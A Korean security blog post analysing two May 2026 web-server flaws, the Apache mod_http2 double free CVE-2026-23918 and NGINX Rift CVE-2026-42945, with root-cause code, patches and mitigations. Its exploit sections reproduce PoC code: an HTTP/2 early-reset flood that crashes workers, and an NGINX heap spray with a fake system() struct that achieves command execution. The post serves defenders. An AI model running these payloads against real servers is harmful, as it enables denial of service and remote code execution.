2026년 5월, 웹 인프라를 뛰흔든 두 개의 Critical 취약점: Apache CVE-2026-23918 & NGINX Rift (CVE-2026-42945)
Introduction
2026년 5월은 전 세계 웹 인프라의 양대 축인 Apache HTTP Server와 Nginx 양쪽 모두에서 다수의 보안 패치가 공개된 한 달이었습니다. Apache 진영에서는 5월 4일 공개된 2.4.67 릴리스에서 총 5개의 CVE가 한꺼번에 수정되었고, Nginx 진영에서는 5월 13일 공개된 NGINX Rift 취약점 묶음(4개 CVE)이 1.30.1 / 1.31.0 패치로 함께 처리되었습니다.
이번 글에서는 5월에 공개된 모든 취약점을 나열하기보다, 각 제품군에서 운영 환경에 미치는 영향이 가장 크고, 익스플로잇 가능성과 노출도가 모두 높은 1건씩을 선정해 분석하고자 합니다. 두 취약점을 대표로 선정한 기준은 다음과 같습니다.
- 무인증 원격 코드 실행(RCE) 가능성: 인증 없이 단일 TCP 연결만으로 트리거 가능한지
- 기본 빌드/기본 구성에서의 노출도: 특수 모듈이나 비주류 빌드 옵션이 아닌 표준 배포에서 영향을 받는지
- 취약점 잠복 기간 및 사용 범위: 코드베이스에 오래 존재하며 광범위하게 배포되었는지
- 실제 익스플로잇 진행 여부: PoC 공개 또는 실 환경 공격이 관측되었는지
이 기준을 적용했을 때 Apache에서는 CVE-2026-23918 (HTTP/2 Double Free) 가, Nginx에서는 CVE-2026-42945 (NGINX Rift) 가 가장 명확히 부각됩니다. 전자는 HTTP/2가 사실상 기본 활성화된 현대 Apache 운영 환경에서 무인증 DoS·RCE를 모두 노릴 수 있는 메모리 손상 취약점이고, 후자는 18년간 코드베이스에 잠복해 있었으며 모든 안정 버전(0.6.27 ~ 1.30.0)에 영향을 미치는 힙 오버플로우 취약점입니다. 두 취약점 모두 CVSS 8점대 후반 ~ 9점대로 평가되었고, 공개 직후 PoC와 실 환경 공격이 보고되었습니다.
1. Apache HTTP Server — CVE-2026-23918 (HTTP/2 Double Free)
Introduction
가장 먼저 살펴볼 취약점은 CVE-2026-23918 입니다. 해당 취약점은 Apache HTTP Server 2.4.66의 HTTP/2 모듈(mod_http2)에서 발생하는 Double Free 취약점으로, HTTP/2 스트림이 멀티플렉서에 등록되기 전 단계에서 클라이언트가 HEADERS 프레임 직후 RST_STREAM 프레임을 전송하는 "조기 스트림 종료(early stream reset)" 시퀀스를 사용할 때 발생합니다. 이때 동일한 h2_stream 포인터가 정리 큐(spurge)에 중복으로 적재되어, 동일 메모리가 두 번 해제되는 전형적인 double-free가 일어납니다. APR 메모리 할당자가 mmap allocator를 사용하는 환경에서는 무인증 원격 코드 실행으로까지 이어질 수 있습니다.
Vulnerability Detail
| 항목 |
내용 |
| CVE |
CVE-2026-23918 |
| Vulnerability |
Double Free (CWE-415), HTTP/2 스트림 정리 경로의 이중 해제 |
| CVSS (3.1) |
HIGH 8.8 |
| Product |
Apache HTTP Server (httpd) |
| Version |
<= 2.4.66 (HTTP/2 활성화 + 멀티스레드 MPM) |
| Patch Version |
2.4.67 (2026-05-04 릴리스) |
| Link |
https://nvd.nist.gov/vuln/detail/CVE-2026-23918 |
| Description |
Double-free vulnerability in Apache HTTP Server mod_http2 (h2_mplx.c) during early stream reset. Allows remote DoS and possible RCE on Apache 2.4.66 and earlier. Users are recommended to upgrade to 2.4.67. |
Analysis
이 취약점은 Apache HTTP/2 모듈(mod_http2)의 멀티플렉서 스트림 정리 과정에서 발생합니다. 클라이언트가 HEADERS 프레임 전송 직후 오류 상태의 RST_STREAM 프레임을 전송하면, 정리 루틴이 연속 실행되면서 동일한 h2_stream 포인터가 정리 배열(spurge)에 중복 삽입될 수 있습니다. 이후 purge 처리 단계에서 동일 스트림 객체가 두 번 해제되어 Double Free가 발생합니다.
spurge 배열 중복 삽입 검증 부재
이 취약점의 본질은 mod_http2의 정리 큐(m->spurge)에 동일한 h2_stream 포인터가 중복으로 push될 수 있는 경로가 존재한다는 점입니다. Apache 공식 git 저장소의 패치 커밋(apache/httpd@542e0da)의 modules/http2/h2_mplx.c 변경사항을 살펴보면 원인이 명확히 드러납니다.
🔍 /modules/http2/h2_mplx.c (Apache 2.4.66 / mod_http2 2.0.35, 패치 전)
static void c1c2_stream_joined(h2_mplx *m, h2_stream *stream)
{
ap_assert(!stream_is_running(stream));
h2_ihash_remove(m->shold, stream->id);
/* (1) spurge 배열에 대한 중복 검증 없이 그대로 push.
* 동일 stream 포인터가 다른 정리 경로에서 이미 들어가 있어도 그대로 추가됨. */
APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream;
}
static void m_stream_cleanup(h2_mplx *m, h2_stream *stream)
{
/* ... */
if (/* 처리 완료된 스트림 경로 */) {
ap_log_cerror(APLOG_MARK, APLOG_TRACE2, 0, m->c1,
H2_STRM_MSG(stream, "cleanup, c2 is done, move to spurge"));
/* (2) 또 다른 호출 지점. 역시 중복 검증 없이 직접 push. */
APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream;
}
/* ... */
else {
/* (3) "한 번도 시작된 적이 없는" 스트림 경로. 동일 패턴. */
ap_log_cerror(APLOG_MARK, APLOG_TRACE2, 0, m->c1,
H2_STRM_MSG(stream, "cleanup, never started, move to spurge"));
APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream;
}
}
위 코드를 살펴보면 세 곳에서 spurge에 직접 push가 일어나며, 어느 한 곳도 "이 스트림이 이미 spurge에 등록되어 있는가" 를 확인하지 않는 것을 확인할 수 있습니다. HTTP/2 조기 종료(early reset) 시 nghttp2의 두 콜백(on_frame_recv_cb, on_stream_close_cb)이 짧은 간격으로 연속 호출되며 양쪽 모두 h2_mplx_c1_client_rst() → m_stream_cleanup() 경로를 타게 되는데, 이때 위 (2)·(3) 분기가 두 번 실행되어 동일한 h2_stream * 포인터가 spurge 배열에 두 번 push되게 됩니다.
이후 c1_purge_streams()가 배열을 순회하며 각 항목에 대해 h2_stream_destroy() → apr_pool_destroy()를 호출할 때, 두 번째 호출은 이미 해제된 메모리를 다시 free하는 double-free가 됩니다.
트리거 흐름 (Early Stream Reset)
공격자는 다음 두 프레임만 동일 스트림에서 연속 전송하면 됩니다.
HEADERS 프레임 전송 (스트림이 multiplexer에 정식 등록되기 전 상태)
- 즉시
RST_STREAM 프레임 (non-zero 에러 코드)
이 시퀀스는 nghttp2가 두 콜백(on_frame_recv_cb, on_stream_close_cb)을 짧은 간격으로 연속 호출하게 만들고, 양쪽 모두 위 (2)·(3) 분기를 통과시켜 spurge에 동일 포인터를 두 번 들어가게 합니다. 인증·특정 URL·특수 헤더가 모두 불필요하며, 단일 TCP 연결과 두 개의 프레임만으로 워커 프로세스가 SIGSEGV로 종료됩니다.
익스플로잇 시나리오
DoS는 사실상 무조건 성립합니다. TCP 1개 연결, 프레임 2개, 인증 불필요, 특정 URL 불필요한 조건이며, 워커 프로세스가 약 30초 ~ 3분 내에 충돌합니다 (실측: 6초 만에 충돌 확인). 멀티스레드 MPM(worker/event 등) 환경에서는 워커 풀 전체가 빠르게 무너집니다.
RCE 체인은 다음 조건이 모두 만족될 때 성립합니다.
- APR이
mmap allocator를 사용 (Debian 계열, 공식 Apache 빌드의 기본값)
- 멀티스레드 MPM 사용 (worker, event 등)
공격자는 free된 가상 주소에 mmap 재사용을 통해 가짜 h2_stream 구조체를 배치하고, 그 구조체의 pool cleanup 함수 포인터를 system()으로 설정합니다. 명령 문자열은 ASLR이 켜져 있어도 고정 주소에 위치하는 Apache scoreboard 메모리에 배치하여 안정적으로 트리거할 수 있습니다.
Exploit
위 분석 내용을 토대로 실제 취약점을 재현하기 위해 공개된 Docker 기반 PoC (rhasan-com/CVE-2026-23918)를 활용합니다. 해당 저장소는 Apache 공식 httpd:2.4.66 Docker 이미지 위에 mod_http2 + mod_ssl + mpm_event를 활성화한 취약 환경과 Python 기반 PoC 스크립트를 함께 제공합니다.
Docker 환경 구성
🔍 /Dockerfile 일부
FROM httpd:2.4.66
# HTTP/2, SSL, MPM event 모듈 활성화
RUN sed -i \\
-e 's/#LoadModule ssl_module/LoadModule ssl_module/' \\
-e 's/#LoadModule http2_module/LoadModule http2_module/' \\
-e 's/#LoadModule mpm_event_module/LoadModule mpm_event_module/' \\
/usr/local/apache2/conf/httpd.conf
# 자체 서명 SSL 인증서 생성 및 8443 바인딩 + HTTP/2 활성화 설정 추가
RUN printf '\\nListen 8443 https\\nProtocols h2 h2c http/1.1\\n...' \\
>> /usr/local/apache2/conf/httpd.conf
EXPOSE 8443
🔍 /docker-compose.yml
services:
apache-lab:
build:
context: .
dockerfile: Dockerfile
ports:
- "8443:8443"
restart: unless-stopped
security_opt:
- seccomp:unconfined
cap_add:
- SYS_PTRACE
PoC 핵심 로직
🔍 /poc.py 일부
# 100개의 워커 스레드가 동시에 HTTP/2 연결을 열고,
# 각 연결마다 50개의 스트림을 생성한 뒤 3개마다 즉시 RST_STREAM 전송
for i in range(50):
sid = conn.get_next_available_stream_id()
conn.send_headers(sid, [
(b":method", b"GET"),
(b":scheme", b"https"),
(b":authority", self.target.encode()),
(b":path", b"/"),
])
sock.sendall(conn.data_to_send())
if i % 3 == 0:
# HEADERS 직후 즉시 RST_STREAM 전송 → early reset 트리거
conn.reset_stream(sid, error_code=1)
sock.sendall(conn.data_to_send())
위 코드는 본 글의 Analysis 섹션에서 설명한 "HEADERS 프레임 → 즉시 RST_STREAM" 시퀀스를 100개 스레드 × 50개 스트림 규모로 병렬 전송하여 워커 프로세스의 spurge 중복 삽입 경로를 의도적으로 빠르게 트리거합니다.
PoC 검증 절차
다음 절차로 PoC를 실행합니다. Python 런타임 오염을 피하기 위해 가상환경(venv)을 사용합니다.
# 1. PoC 저장소 클론
git clone <https://github.com/rhasan-com/CVE-2026-23918.git>
cd CVE-2026-23918
# 2. 취약 환경 기동 (httpd:2.4.66 이미지 빌드 및 구동)
docker-compose up --build -d
# 3. Python 가상환경 구성 및 h2 라이브러리 설치
python3 -m venv venv
source venv/bin/activate
pip install h2
# 4. PoC 실행
python3 poc.py --target 127.0.0.1 --port 8443
# 5. 워커 프로세스 크래시 로그 모니터링 (별도 터미널)
docker-compose logs -f apache-lab
# 6. 정리
deactivate
docker-compose down -v
PoC 실행 결과
PoC 실행 출력 (python3 poc.py --target 127.0.0.1 --port 8443)
============================================================
CVE-2026-23918 DoS PoC
============================================================
Target : 127.0.0.1:8443 / Workers: 100 / Streams: 50 per conn
============================================================
[*] Server check...
[+] Server is up and running
============================================================
!!! SERVER CRASHED at t=6s !!!
Stats: connections=756 reqs=4791 resets=1749
============================================================
Connections : 786
Requests : 4816
RST_STREAM : 1765
Conn Errors : 8
Stream Errs : 24727
!!! DOUBLE-FREE CONFIRMED !!!
============================================================
Apache 워커 크래시 로그 (docker-compose logs -f apache-lab)
[Wed May 27 15:43:06.489887 2026] [mpm_event:notice] AH00489: Apache/2.4.66 configured
[Wed May 27 15:43:06.489902 2026] [core:notice] AH00094: Command line: 'httpd -D FOREGROUND'
[Wed May 27 15:43:26.573934 2026] [core:notice] AH00052: child pid 8 exit signal Segmentation fault (11)
[Wed May 27 15:43:26.574429 2026] [core:notice] AH00052: child pid 9 exit signal Abort (6)
[Wed May 27 15:43:26.574869 2026] [core:notice] AH00052: child pid 10 exit signal Segmentation fault (11)
[Wed May 27 15:43:27.579255 2026] [core:notice] AH00052: child pid 167 exit signal Segmentation fault (11)
[Wed May 27 15:43:27.581672 2026] [core:notice] AH00052: child pid 168 exit signal Segmentation fault (11)
[Wed May 27 15:43:27.582008 2026] [core:notice] AH00052: child pid 176 exit signal Segmentation fault (11)
[Wed May 27 15:43:28.589413 2026] [core:notice] AH00052: child pid 326 exit signal Segmentation fault (11)
[Wed May 27 15:43:28.590080 2026] [core:notice] AH00052: child pid 327 exit signal Segmentation fault (11)
[Wed May 27 15:43:28.590606 2026] [core:notice] AH00052: child pid 329 exit signal Segmentation fault (11)
[Wed May 27 15:43:28.590630 2026] [core:notice] AH00052: child pid 338 exit signal Segmentation fault (11)
[Wed May 27 15:43:29.598274 2026] [core:notice] AH00052: child pid 539 exit signal Segmentation fault (11)
[Wed May 27 15:43:29.598930 2026] [core:notice] AH00052: child pid 540 exit signal Segmentation fault (11)
[Wed May 27 15:43:30.607416 2026] [core:notice] AH00052: child pid 657 exit signal Segmentation fault (11)
[Wed May 27 15:43:30.607985 2026] [core:notice] AH00052: child pid 658 exit signal Segmentation fault (11)
... (total: 30 worker exits - 27x SIGSEGV + 3x Abort)
Patch
CVE-2026-23918 취약점이 패치된 버전(2.4.67)에서는 add_for_purge()라는 단일 진입점을 두어 spurge 배열에 push하기 전에 동일 포인터가 이미 존재하는지 선형 탐색으로 확인하는 방식으로 수정되었습니다.
https://github.com/apache/httpd/commit/542e0da07048d3934ef18c22b44cf8d62e64067f
🔍 /modules/http2/h2_mplx.c (Apache 2.4.67 / mod_http2 2.0.37, 패치 후)
/* 패치로 신규 추가된 함수 */
static int add_for_purge(h2_mplx *m, h2_stream *stream)
{
int i;
/* spurge 배열을 선형 탐색하여 동일 포인터가 이미 등록되어 있는지 확인 */
for (i = 0; i < m->spurge->nelts; ++i) {
h2_stream *s = APR_ARRAY_IDX(m->spurge, i, h2_stream*);
if (s == stream) /* already scheduled for purging */
return FALSE; /* 이미 등록 → 추가 push 금지 (double-free 차단) */
}
/* 미등록 시에만 실제 push 수행 */
APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream;
return TRUE;
}
static void c1c2_stream_joined(h2_mplx *m, h2_stream *stream)
{
/* (1') 직접 push 대신 dedup 함수 호출 */
add_for_purge(m, stream);
}
static void m_stream_cleanup(h2_mplx *m, h2_stream *stream)
{
/* ... */
if (/* 처리 완료된 스트림 경로 */) {
/* (2') 두 번째 호출 지점도 dedup 함수로 교체 */
add_for_purge(m, stream);
}
/* ... */
else {
/* (3') 세 번째 호출 지점. 이미 등록된 경우엔 로그도 남기지 않음 */
int added = add_for_purge(m, stream);
if (added)
ap_log_cerror(APLOG_MARK, APLOG_TRACE2, 0, m->c1,
H2_STRM_MSG(stream, "cleanup, never started, move to spurge"));
}
}
어떤 cleanup 경로가 중복 트리거되더라도 동일 h2_stream 포인터가 두 번 destroy되지 않으므로, HTTP/2 트리거 자체(HEADERS + 즉시 RST_STREAM)는 여전히 가능하지만 메모리 손상은 발생하지 않습니다. 동일 커밋에서 MOD_HTTP2_VERSION 매크로가 2.0.35 → 2.0.37로 함께 올라간 것이 이 변경이 정식 릴리스의 일부임을 보여줍니다.
Mitigation
- Apache HTTP Server를 2.4.67 이상으로 즉시 업그레이드합니다. 동일 릴리스에서
CVE-2026-24072(mod_rewrite 권한 상승) 등 다른 4개 CVE도 함께 해소되므로, 부분 백포트보다 정식 업그레이드를 우선 권장합니다.
- 즉시 업그레이드가 어렵다면 임시 완화 조치를 적용합니다.
Protocols에서 h2, h2c 제거 → HTTP/2 비활성화 (성능 영향 검토 필요)
- 또는
mod_http2 자체 비활성화 (a2dismod http2 또는 LoadModule http2_module ... 주석 처리)
- HTTP/2를 유지해야 하는 경우 MPM을
prefork로 전환하는 임시 조치도 검토할 수 있으나, 동시성·메모리 특성이 달라지므로 사전 부하 검증이 필요합니다.
- 이상 행위 탐지 룰을 추가합니다. 단일 HTTP/2 연결에서
HEADERS 직후 비정상 에러 코드(Non-zero)의 RST_STREAM이 반복되는 패턴, 짧은 시간 내 워커 프로세스 segfault/abort 로그, httpd/apache2 코어덤프 누적 등이 핵심 탐지 신호입니다.
2. Nginx — CVE-2026-42945 (NGINX Rift)
Introduction
다음으로 살펴볼 취약점은 CVE-2026-42945 입니다. NGINX Rift라는 코드명으로 명명된 이 취약점은 NGINX의 핵심 URL 재작성 모듈인 ngx_http_rewrite_module에서 발생하는 힙 버퍼 오버플로우(CWE-122)로, 2008년 NGINX 0.6.27에서 최초 도입된 이후 약 18년간 탐지되지 않은 상태로 존재해 왔습니다. 인증 없이 단일 HTTP 요청만으로 워커 프로세스를 충돌시킬 수 있으며, ASLR이 비활성화된 환경에서는 원격 코드 실행(RCE)으로 이어집니다.
또한 이 취약점은 자율 취약점 분석 시스템(AI) 이 발견했다는 점에서도 주목할 만합니다. 보고자인 depthfirst에 따르면, 자사의 AI 분석 시스템이 NGINX 소스코드를 스캔한 지 약 6시간 만에 본 힙 오버플로우를 포함한 4건의 메모리 손상 취약점을 식별했다고 합니다.
Vulnerability Detail
| 항목 |
내용 |
| CVE |
CVE-2026-42945 (코드명: NGINX Rift) |
| Vulnerability |
Heap Buffer Overflow (CWE-122), rewrite 스크립트 엔진 크기 불일치 |
| CVSS (4.0) |
CRITICAL 9.2 |
| Product |
NGINX Open Source / NGINX Plus |
| Version |
OSS 0.6.27 ~ 1.30.0, Plus R32 ~ R36 |
| Patch Version |
OSS 1.30.1 (stable) / 1.31.0 (mainline), Plus R32 P6 / R36 P4 / 37.0.0 (2026-05-13) |
| Link |
https://nvd.nist.gov/vuln/detail/CVE-2026-42945 |
| Description |
Heap buffer overflow in NGINX ngx_http_rewrite_module when a rewrite directive's replacement contains ? and a subsequent set/if/rewrite references an unnamed PCRE capture. Triggers DoS and possible RCE without authentication. |
Analysis
NGINX의 스크립트 엔진은 rewrite/set/if 디렉티브를 컴파일한 뒤 (1) 결과 버퍼 길이 계산 → (2) 실제 데이터 쓰기의 두 패스 구조로 실행합니다. 두 패스가 동일한 이스케이프 규칙을 적용해야 버퍼 크기와 실제 쓰기 길이가 일치하는데, 이 일관성을 좌우하는 is_args 플래그가 rewrite 코드 종료 시점에 리셋되지 않는 버그가 18년간 잠복해 있었습니다.
rewrite 종료 시 is_args 플래그가 리셋되지 않음
NGINX 공식 git 저장소의 패치 커밋(nginx/nginx@524977e)의 src/http/ngx_http_script.c 변경사항을 살펴보면 단 한 줄의 차이로 원인이 드러납니다.
🔍 /src/http/ngx_http_script.c (NGINX ≤ 1.30.0, 패치 전)
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_end_code_t *code;
code = (ngx_http_script_regex_end_code_t *) e->ip;
/* ... */
r = e->request;
/* (1) e->is_args는 리셋하지 않고, e->quote만 리셋
* ↳ rewrite 치환 문자열에 '?'가 포함되어 있었다면
* 앞 단계에서 ngx_http_script_start_args_code()가
* e->is_args = 1로 세팅한 상태가 그대로 남는다. */
e->quote = 0;
ngx_log_debug0(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,
"http script regex end");
}
이 한 줄짜리 누락이 어떻게 힙 오버플로우로 이어지는지가 핵심입니다. 자세한 흐름은 다음과 같습니다.
rewrite ^/api/(.*)$ /internal?x=$1 last; 처럼 치환 문자열에 ?가 포함되면 ngx_http_script_start_args_code()가 메인 엔진에 e->is_args = 1을 세팅합니다.
- rewrite 처리가 끝나도 위 코드가
e->is_args를 0으로 되돌리지 않으므로, 이후 실행되는 set $myvar $1; 이나 if/rewrite 같은 후속 디렉티브는 여전히 "args 컨텍스트"로 판단된 상태에서 평가됩니다.
- 이때 길이 계산 패스는
ngx_memzero(&le, sizeof(ngx_http_script_engine_t))로 초기화된 서브 엔진 le를 쓰기 때문에 le.is_args = 0이 되어 이스케이프 미적용 상태로 캡처 원본 길이만 계산하고 버퍼를 할당합니다.
- 반면 실제 쓰기 패스는 메인 엔진의
e->is_args = 1을 그대로 보고, ngx_escape_uri()가 +, %, & 등 문자를 각각 3바이트(%XX)로 확장 기록합니다.
- 결과적으로
N 바이트로 할당된 힙 버퍼에 N + 2 × (이스케이프 대상 문자 수) 바이트가 기록되며 힙 버퍼 오버런이 발생합니다.
트리거 조건
위 코드 경로를 실제로 타고 들어가려면 다음 세 조건이 모두 만족되는 NGINX 설정이 필요합니다.
rewrite 디렉티브의 치환 문자열에 ? 포함
- 이후
set/if/rewrite에서 unnamed PCRE 캡처($1, $2 …) 를 참조
- 공격 URI에 이스케이프 대상 문자(
+, %, &)가 대량 포함
이는 API 게이트웨이, 레거시 마이그레이션, 쿼리스트링 재조립 등에서 흔히 나타나는 패턴입니다. 따라서 단순히 "취약 디렉티브를 쓰지 않으면 된다"고 가정해서는 안 되며, 운영 설정 전수 점검이 필요합니다.
익스플로잇 시나리오
DoS: 위 세 조건이 만족되는 환경에서 공격자는 %26, %2B, %25 같은 인코딩된 문자가 대량 포함된 URI를 단발 전송하는 것만으로 워커 프로세스를 SIGSEGV/SIGABRT로 종료시킬 수 있습니다.
RCE: 손상된 cleanup 포인터를 따라가 공격자가 힙 스프레이로 배치한 가짜 구조체에 도달하고, system(command)이 호출되어 무인증 RCE가 성립합니다. ASLR이 비활성화된 환경에서 공개 PoC는 안정적으로 동작하며, ASLR이 켜진 현대 OS에서는 난이도가 올라가지만 NGINX의 master → worker fork 구조상 워커 간 힙 레이아웃이 동일하게 복제된다는 점이 익스플로잇 안정성을 높이는 구조적 요인으로 지적되었습니다.
VulnCheck에 따르면 공개 3일 후인 2026-05-16부터 실제 익스플로잇 시도가 관측되었으며, 이는 패치 적용 윈도우가 거의 없는 수준으로 좁아진 사례에 해당합니다.
Exploit
본 취약점은 보고자인 depthfirst가 직접 공개한 Docker 기반 PoC (DepthFirstDisclosures/Nginx-Rift)를 활용하여 재현합니다. 해당 저장소는 Ubuntu 22.04 위에서 NGINX를 취약 commit으로 직접 소스 컴파일한 환경과, 힙 스프레이 + 페이크 구조체 배치를 통한 RCE 익스플로잇 스크립트를 제공합니다.
Docker 환경 구성
🔍 /env/Dockerfile
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y \\
gcc make libpcre2-dev libssl-dev zlib1g-dev \\
util-linux python3 curl git \\
&& rm -rf /var/lib/apt/lists/*
# 취약 commit(98fc3bb78)으로 nginx 소스 체크아웃 후 컴파일
RUN git clone <https://github.com/nginx/nginx.git> /nginx-src \\
&& cd /nginx-src && git checkout 98fc3bb78
RUN cd /nginx-src && ./auto/configure \\
--builddir=build \\
--with-cc-opt='-g -O2 -fno-omit-frame-pointer' \\
--with-ld-opt='-Wl,-z,relro -Wl,-z,now' \\
--with-http_ssl_module --with-http_v2_module \\
&& make -j$(nproc)
WORKDIR /app
COPY nginx.conf server.py entrypoint.sh ./
RUN chmod +x entrypoint.sh && mkdir -p logs tmp
ENTRYPOINT ["/app/entrypoint.sh"]
EXPOSE 19321
🔍 /env/entrypoint.sh
#!/bin/bash
cd /app
python3 server.py &>/dev/null &
# setarch -R 옵션으로 ASLR 비활성화 (RCE PoC의 결정론적 주소 사용을 위해)
exec setarch x86_64 -R /nginx-src/build/nginx -p /app -c /app/nginx.conf
🔍 /env/nginx.conf 일부 — 취약 패턴이 그대로 노출된 설정
server {
listen 19321;
# rewrite + set 조합이 버그를 트리거:
# - rewrite는 '?' 때문에 e->is_args = 1을 세팅
# - set $original_endpoint $1 은 원본 캡처 길이로 버퍼를 할당하지만
# 쓰기 시에는 이스케이프 확장이 적용되어 3배로 부풀어 오른다
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
# 힙 스프레이: POST 본문이 pool 메모리에 그대로 저장됨
location /spray {
client_body_in_single_buffer on;
proxy_pass <http://backend>;
proxy_read_timeout 60s;
}
}
PoC 핵심 로직
🔍 /poc.py 일부
# 1단계: /spray 엔드포인트로 가짜 구조체(SYSTEM_ADDR, data_addr, 0)와
# 명령어 페이로드를 담은 POST 본문을 20회 분사 → 힙 스프레이
def make_body(cmd, data_addr):
fake_struct = struct.pack('<QQQ', SYSTEM_ADDR, data_addr, 0)
cmd_bytes = cmd.encode('utf-8') + b'\\x00'
payload = fake_struct + cmd_bytes
return payload + b'\\x41' * (BODY_LEN - len(payload))
# 2단계: '+' 문자 969개가 포함된 URI로 /api/... 요청을 보내
# 힙 오버런을 트리거하고 스프레이된 가짜 구조체로 점프
payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1")
a.sendall((f"GET /api/{payload} HTTP/1.1\\r\\n"
f"Host:localhost\\r\\n").encode("latin-1"))
위 코드는 본 글의 Analysis 섹션에서 설명한 두 패스 사이의 크기 불일치를 정확히 노립니다. 1단계에서 /spray 엔드포인트로 가짜 system() 호출 정보를 담은 페이로드를 힙에 미리 깔아두고, 2단계에서 '+' × 969 패턴을 통해 의도적으로 N + 2 × N 만큼의 오버런을 발생시켜 cleanup 포인터가 가짜 구조체를 가리키도록 조작합니다.
PoC 검증 절차
# 1. PoC 저장소 클론
git clone <https://github.com/DepthFirstDisclosures/Nginx-Rift.git>
cd Nginx-Rift
# 2. 이미지 빌드 (취약 nginx를 소스 컴파일하므로 수 분 소요)
./setup.sh
# 3. 취약 nginx 기동 (터미널 1, ASLR 비활성화 상태로 기동)
docker compose -f env/docker-compose.yml up
# 4. Python 가상환경 구성 (터미널 2)
python3 -m venv venv
source venv/bin/activate
# 5. PoC 실행
python3 poc.py --cmd 'echo hello from depthfirst > /tmp/pwned'
# 6. RCE 검증
docker compose -f env/docker-compose.yml exec nginx ls -la /tmp/pwned
docker compose -f env/docker-compose.yml exec nginx cat /tmp/pwned
# 7. 정리
deactivate
docker compose -f env/docker-compose.yml down -v
PoC 실행 결과
테스트 환경: Apple Silicon (aarch64) + Docker Desktop Docker 옵션 --platform linux/amd64 지정 후 poc.py의 LIBC_BASE를 컨테이너 실제 값(0x7ffffefc0000)으로 패치하여 실행 했습니다.
PoC 클라이언트 출력 (python3 poc.py --cmd 'echo hello from depthfirst > /tmp/pwned')
[*] Waiting for nginx on 127.0.0.1:19321...
[+] Connected.
[+] try 1/10 crashed -- system("echo hello from depthfirst > /tmp/pwned") executed
[+] Done.
RCE 결과 검증 (docker compose exec nginx cat /tmp/pwned)
=== ls -la /tmp/pwned ===
-rw-r--r-- 1 nobody nogroup 22 May 27 16:01 /tmp/pwned
=== cat /tmp/pwned ===
hello from depthfirst
결과: RCE 첫 시도에 성립 — NGINX 워커가 system("echo hello from depthfirst > /tmp/pwned")를 실행하여 /tmp/pwned 생성 확인.
Patch
CVE-2026-42945 취약점이 패치된 버전(1.30.1 / 1.31.0)에서는 ngx_http_script_regex_end_code() 함수에 e->is_args = 0; 한 줄을 추가하는 방식으로 수정되었습니다.
https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686
🔍 /src/http/ngx_http_script.c (NGINX 1.30.1 / 1.31.0, 패치 후)
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_end_code_t *code;
code = (ngx_http_script_regex_end_code_t *) e->ip;
/* ... */
r = e->request;
/* (1') is_args를 함께 0으로 리셋.
* rewrite의 args 컨텍스트가 이후 set/if/rewrite로 누설되지 않도록 차단.
* → 길이 계산과 쓰기 패스가 동일한 이스케이프 규칙을 적용하게 되어
* 버퍼 크기 불일치(= 힙 오버런) 자체가 발생하지 않는다. */
e->is_args = 0;
e->quote = 0;
ngx_log_debug0(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,
"http script regex end");
}
수정 자체는 한 줄(e->is_args = 0;) 추가이지만, 이 한 줄로 rewrite 종료 후 args 컨텍스트가 후속 디렉티브로 새어 나가는 경로가 차단되어 길이 계산과 쓰기 패스가 다시 일관된 이스케이프 규칙으로 동작합니다. 커밋 본문에 "A similar issue was fixed in 74d9399"로 명시된 것을 보면, 스크립트 엔진의 상태 전파 모델 자체가 구조적으로 이러한 플래그 누설을 반복적으로 일으킨 밑바탕임을 알 수 있습니다.
Mitigation
-
즉시 패치: NGINX Open Source는 1.30.1(stable) 또는 1.31.0(mainline)으로, NGINX Plus는 R32 P6 / R36 P4 / 37.0.0으로 업그레이드하고 워커 프로세스를 reload가 아닌 재시작으로 교체해야 합니다 (nginx -s reload로는 새 바이너리가 로드되지 않음).
-
즉시 패치가 어려운 경우 설정 단계 완화: 취약한 패턴인 unnamed 캡처($1)를 named 캡처(?<name>) 로 교체하면 취약 코드 경로 자체가 사라집니다.
# 취약
rewrite ^/users/([0-9]+)$ /profile.php?id=$1 last;
# 안전
rewrite ^/users/(?<user_id>[0-9]+)$ /profile.php?id=$user_id last;
-
탐지 룰 배포: WAF/IDS에 단일 URI 내 인코딩 문자(%26, %2B, %25)가 비정상적으로 다수 포함된 요청을 탐지·차단하는 룰을 배포합니다. error.log의 worker process ... exited on signal 11 패턴, NGINX 코어덤프 누적도 핵심 신호입니다.
-
함께 공개된 다른 CVE 동시 패치: NGINX Rift는 4-CVE 묶음으로 공개되었으므로 CVE-2026-42946, CVE-2026-40701, CVE-2026-42934도 함께 패치 대상에 포함해야 합니다.
Comparison
| 항목 |
Apache CVE-2026-23918 |
Nginx CVE-2026-42945 |
| 취약점 유형 |
Double Free (CWE-415) |
Heap Buffer Overflow (CWE-122) |
| 위치 |
mod_http2 / h2_mplx.c |
ngx_http_rewrite_module / ngx_http_script.c |
| 트리거 |
HTTP/2 HEADERS + 즉시 RST_STREAM |
특정 rewrite 설정 + 조작된 URI |
| 인증 필요 |
없음 |
없음 |
| DoS 난이도 |
매우 낮음 |
매우 낮음 |
| RCE 조건 |
mmap allocator + 멀티스레드 MPM |
특정 rewrite 설정 + ASLR 우회 |
| 노출 범위 |
HTTP/2 활성 Apache 2.4.66 이하 |
rewrite 사용 Nginx 0.6.27 ~ 1.30.0 |
| 잠복 기간 |
비교적 최근 도입 코드 |
약 18년 |
| 패치 |
2.4.67 (2026-05-04) |
1.30.1 / 1.31.0 (2026-05-13) |
| 공개 PoC |
rhasan-com/CVE-2026-23918 (Docker) |
DepthFirstDisclosures/Nginx-Rift (Docker) |
두 취약점은 발생 원인(double-free vs heap overflow)과 트리거 표면(HTTP/2 프로토콜 vs 설정 의존적 rewrite 경로)이 다르지만, 공통적으로 다음을 시사합니다.
- 표준 모듈에서의 메모리 안전성 결함이 여전히 현역 위협이라는 점입니다. HTTP/2, rewrite 모두 운영 환경에서 사실상 기본 활성화에 가까운 모듈입니다.
